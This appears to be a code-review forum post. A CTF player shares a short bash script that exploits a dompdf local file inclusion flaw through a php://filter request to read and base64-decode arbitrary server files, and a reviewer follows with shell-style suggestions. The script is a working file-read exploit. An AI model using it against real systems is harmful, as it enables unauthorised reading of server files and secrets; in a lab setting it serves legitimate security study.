Dompdf LFI (Local File Inclusion) Intro

During a CTF I encountered a dompdf LFI vulnerability, which is explained at exploitdb.

However when I executed that vulnerability it gave it to me in PDF form, and it was a pain to constantly (read, strip, and base64 decode)  to read the contents of files. So I made a little bash script to do these things automatically. 

I am happy with the result, but I thought there maybe was a way to resolve those double sed into one Regex capture. It works because the [( ... )] is unique in the resulting string.

Code

#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
    echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo `curl --silent $URL` | sed 's/.*\[(//' | sed 's/)\].*//' | base64 -d
Input validation

I find this an unusual way to validate script parameters:


if [ -z "$1" ] || [ -z "$2" ]; then



It's more common to verify that there are exactly two parameters:

if [ $# != 2 ]; then


Note that this is not exactly the same as the original.
The original verifies that neither $1 and $2 is empty,
and it silently allows more than 2 parameters.

Why echo a sub-shell?

What is the purpose of this echo:


echo `curl --silent $URL`



Instead of simply:

curl --silent $URL


If the purpose is to join multiple lines into one, I would use tr instead:

curl --silent "$URL" | tr -d '\n'
# or
curl --silent "$URL" | tr '\n' ' '


Writing this way make the intention more clear.
Another advantage is streamlined processing.
Note also that I added double-quotes around the $URL used as command parameter, as a good rule of thumb to protect from unexpected word splitting and globbing.

One sed to rule them all

Instead of this:


sed 's/.*\[(//' | sed 's/)\].*//'



You can do multiple expressions with a single sed using multiple -e parameters:

sed -e 's/.*\[(//' -e 's/)\].*//'


I use the -e even with single expressions,
for maximum clarity.